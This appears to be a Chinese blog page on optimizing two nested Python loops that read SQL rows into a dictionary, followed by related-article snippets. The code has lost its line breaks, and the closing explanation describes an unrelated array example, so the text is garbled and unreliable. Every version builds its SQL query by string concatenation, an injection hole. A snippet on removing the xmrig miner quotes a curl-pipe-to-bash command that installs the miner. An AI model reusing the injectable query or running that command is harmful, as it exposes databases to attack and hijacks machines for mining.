优化两个简单的嵌套循环

优化嵌套循环的方法通常取决于具体的情况,但有几种常见的技巧可以尝试。尽可能减少内部循环的迭代次数,这可以通过更有效的算法或数据结构来实现。如果内部循环中使用的值在外部循环中已经计算过,可以尝试在外部循环中计算并将结果存储起来,避免重复计算。下面是一个简单的示例,演示了如何通过优化来减少嵌套循环的计算量:

在这里插入图片描述

1、问题背景

在优化以下两个嵌套循环时遇到了一些困难:

def startbars(query_name, commodity_name):global h_listnc, s, h_list = [], {}, {}query = """ SELECT wbcode, Year, """+query_name+""" FROM innovotable WHERE commodity='"""+commodity_name+"""' and"""+query_name+""" != 'NULL' """rows = cursor.execute(query)for row in rows:n = float(row[2])s[str(row[0])+str(row[1])] = nnc.append(n)for iso in result:try:for an_year in xrange(1961, 2031, 1):skey = iso+str(an_year)h_list[skey] = 8.0 / max(nc) * s[skey]except:pass

希望找到一些优化思路来提高代码效率。

2、解决方案

优化建议:

  1. 将内部循环从外部循环中分离出来。因为内部循环并不依赖于外部循环,因此可以将其提取出来,这将简化代码结构并提高效率。

  2. max(nc)移出循环。max(nc)在第一次循环后就是一个常量,因此可以将其移出循环以减少重复计算。

  3. 重新组织数据结构。优化后的代码使用了一个字典mapYearToWbcodeToField来存储数据,这使得查找更加高效。同时使用了一个列表nc来存储所有值的最大值,这样就可以在一次循环中计算出constant

以下是优化后的代码:

def startbars(query_name, commodity_name):assert query_name in INNOVOTABLE_FIELD_NAMES## TODO: Replace with proper SQL queryquery = """ SELECT wbcode, Year, """+query_name+""" FROM innovotable WHERE commodity='"""+commodity_name+"""' and"""+query_name+""" != 'NULL' """rows = cursor.execute(query)mapYearToWbcodeToField = {}nc = []global h_listh_list = {}for row in rows:n = float(row[2])wbCodeToField = mapYearToWbcodeToField.setdefault(int(row[1]),{})wbCodeToField[str(row[0])] = nnc.append(n)constant = 8.0 / max(nc)for (an_year,wbCodeToField) in mapYearToWbcodeToField.iteritems():if an_year < 1961 or an_year > 2031:continuefor (wbCode,value) in wbCodeToField.iteritems():if wbCode not in result:continueskey = wbCode+str(an_year)h_list[skey] = constant * value

或者,还可以将所有的检查都移到第一个循环中:

def startbars(query_name, commodity_name):assert query_name in INNOVOTABLE_FIELD_NAMES## TODO: Replace with proper SQL queryquery = """ SELECT wbcode, Year, """+query_name+""" FROM innovotable WHERE commodity='"""+commodity_name+"""' and"""+query_name+""" != 'NULL' """rows = cursor.execute(query)data = []maxField = Nonefor row in rows:an_year = int(row[1])if an_year < 1961 or an_year > 2031:continuewbCode = str(row[0])if wbCode not in result:continuen = float(row[2])data.append((wbCode+str(an_year),n))if maxField is None or n > maxField:maxField = nconstant = 8.0 / maxFieldglobal h_listh_list = {}for (skey,n) in data:h_list[skey] = constant * n

在这个示例中,原始的嵌套循环遍历了二维数组中的所有元素,并将每个元素乘以2后添加到结果列表中。优化后的版本避免了使用range(len(data))range(len(data[i]))来遍历索引,而是直接遍历了二维数组中的每个元素。这种优化减少了重复计算,并使代码更简洁易读。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/309655.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

zato,一个神奇的 Python 库!

大家好&#xff0c;今天为大家分享一个神奇的 Python 库 - zato。 Zato是一个高性能的Python企业服务总线(ESB)和应用集成框架&#xff0c;专为简化复杂系统间的通信和数据交换而设计。它提供了一个灵活、可扩展的平台&#xff0c;以支持各种集成需求&#xff0c;从简单的数据传…

DB schema表中使用全局变量及在DB组件中查询

DB schema表中使用全局变量及在DB组件中查询 规则如下&#xff1a; 使用如下&#xff1a; 如果在unicloud-db组件上不加判断条件&#xff0c;就会报错&#xff0c;并进入到登录页。 那么就会进入到登录页&#xff0c;加上了判断条件&#xff0c;有数据了就不会了。 因为在sc…

【信号处理】心电信号传统R波检测定位典型方法实现(matlab)

关于 心电信号中QRS波检测是一个非常重要的步骤&#xff0c;可以用于实现重要波群的基本定位&#xff0c;在定位基础上&#xff0c;可以进一步分析心电信号的特征变化&#xff0c;从而为医疗诊断提供必要的参考。 工具 MATLAB ECG心电信号 方法实现 ECG心电信号加载 ecg …

【基于HTML5的网页设计及应用】——事件代理.

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

华为OD机试 - 内存冷热标记(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷C卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测试…

2024最新 PyCharm 2024.1 更新亮点看这篇就够了

2024最新 PyCharm 2024.1 更新亮点看这篇就够了 文章目录 2024最新 PyCharm 2024.1 更新亮点看这篇就够了&#x1f680; PyCharm 2024.1 发布&#xff1a;全面升级&#xff0c;助力高效编程&#xff01;摘要引言 &#x1f680; 快速掌握 Hugging Face&#xff1a;模型与数据集文…

IOS手机耗电量测试

1. 耗电量原始测试方法 1.1 方法原理&#xff1a; 根据iPhone手机右上角的电池百分比变化来计算耗电量。 1.2实际操作&#xff1a; 在iOS通用设置中打开电池百分比数值显示&#xff0c;然后操作30分钟&#xff0c;60分钟&#xff0c;90分钟&#xff0c;看开始时和结束时电池…

经久耐用特氟龙材质塑料烧杯PFA坩埚耐受强酸强碱耐高温

PFA烧杯在实验过程中可作为储酸容器或涉及强酸强碱类实验的反应容器&#xff0c;用于盛放样品、试剂&#xff0c;可搭配电热板加热、蒸煮、赶酸用。 PFA烧杯规格参考&#xff1a;10ml、30ml、50ml、100ml、250ml、500ml、1000ml、2000ml。 外壁均有凸起刻度&#xff0c;直筒设…

CSS导读 (元素显示模式 上)

&#xff08;大家好&#xff0c;今天我们将继续来学习CSS的相关知识&#xff0c;大家可以在评论区进行互动答疑哦~加油&#xff01;&#x1f495;&#xff09; 目录 三、CSS的元素显示模式 3.1 什么是元素显示模式 3.2 块元素 3.3 行内元素 3.4 行内块元素 3.5 元素…

在Windows上安装Go编译器并配置Golang开发环境

文章目录 1、安装Go语言编译程序1.1、下载GoLang编译器1.2、安装GoLang编译器 2、配置Golang IDE运行环境2.1、配置GO编译器2.1.1、GOROOT 概述2.1.2、GOROOT 作用2.1.2、配置 GOROOT 2.2、配置GO依赖管理2.2.1、Module管理依赖2.2.2、GOPATH 管理依赖 2.3、运行GO程序2.3.1、创…

Spring Boot 学习(3)——Spring Initializr 创建项目问题解决

产生问题的原因&#xff0c;各种的版本都较老&#xff0c;所以导致出现问题。目前暂未打到合适的教程&#xff0c;按老教程学起来先。 小白瞎学&#xff0c;大神勿喷&#xff01; 再次强调环境&#xff1a;maven 3.3.9、jdk 1.8、idea 2017、Spring 4.3.13、Spring Boot 1.5.…

L3 【哈工大_操作系统】操作系统启动

本节要点&#xff1a; 1、理解 OS 启动过程发生了什么&#xff0c;理解 OS 与 硬件 与 应用 之间的关系 2、本节讲解了 setup 模块 和 system 模块实现的功能 1、计算机上电时&#xff0c;操作系统在硬盘&#xff08;磁盘&#xff09;上&#xff0c;为了“取指执行”&#xff0…

CentOS7.9上安装Oracle11g

数据库安装目录/apps 一、环境准备 1、安装依赖 在线安装 [rootlocalhost ~]# yum install libnsl libnsl2-devel libaio-devel libcap-devel xorg-x11-utils xauth gcc make libstdc-devel sysstat smartmontools glibc-compat-2.17若服务器无法连接网络&#xff0c;可使用…

环形链表的约瑟夫问题(牛客网)

/*** 代码中的类名、方法名、参数名已经指定&#xff0c;请勿修改&#xff0c;直接返回方法规定的值即可** * param n int整型 * param m int整型 * return int整型*/struct ListNode * BuyNode(int n)//创建节点和成环{ struct ListNode *pheadNULL;struct ListNode *ptailN…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

有了一站式知识库服务平台,再也不用担心工作效率了!

你是否记得无数次在海量文件和邮件里搜索资料的烦恼&#xff1f;又或者是在急需某个信息时&#xff0c;却发现它埋藏在某个早已遗忘的文件夹深处&#xff1f;如果你的答案是肯定的&#xff0c;那么一站式知识库服务平台的出现&#xff0c;无疑是你提高工作效率的得力助手。 知识…

力扣面试150 反转字符串中的单词 API 双指针

Problem: 151. 反转字符串中的单词 &#x1f468;‍&#x1f3eb; 参考思路 &#x1f496; API 大法 时间复杂度: O ( n ) O(n) O(n) 空间复杂度: O ( n ) O(n) O(n) class Solution {public String reverseWords(String s){s s.trim();// 去除首尾空格List<String&…

软件无线电安全之HackRF One初探

HackRF介绍 HackRF是一款开源软件无线电&#xff08;SDR&#xff09;平台&#xff0c;由Great Scott Gadgets公司推出。它具有广泛的频率覆盖范围&#xff0c;从1 MHz到6 GHz&#xff0c;支持大部分常见的无线通信频段。采用软件定义无线电技术&#xff0c;HackRF提供了自定义…

CCleaner怎么清理软件缓存 CCleaner清理要勾选哪些 ccleanerfree下载

CCleaner软件是一款优秀的数据清理软件&#xff0c;其中没有硬盘和内存的设置&#xff0c;也不含任何广告软件&#xff0c;其出色的注册表清洁功能能够保证您的电脑更稳定运行。本文将围绕CCleaner怎么清理软件缓存&#xff0c;CCleaner清理要勾选哪些的相关内容进行介绍。 一、…

前端浏览器跨标签通信方式分享

跨标签通信也有很多实际的应用场景&#xff0c;比如&#xff1a; 共享登录状态&#xff1a;当用户在一个标签页中登录后&#xff0c;其他打开的标签页需要及时获取到登录状态&#xff0c;以保持一致的用户体验。在这种情况下&#xff0c;可以使用浏览器的localStorage或sessio…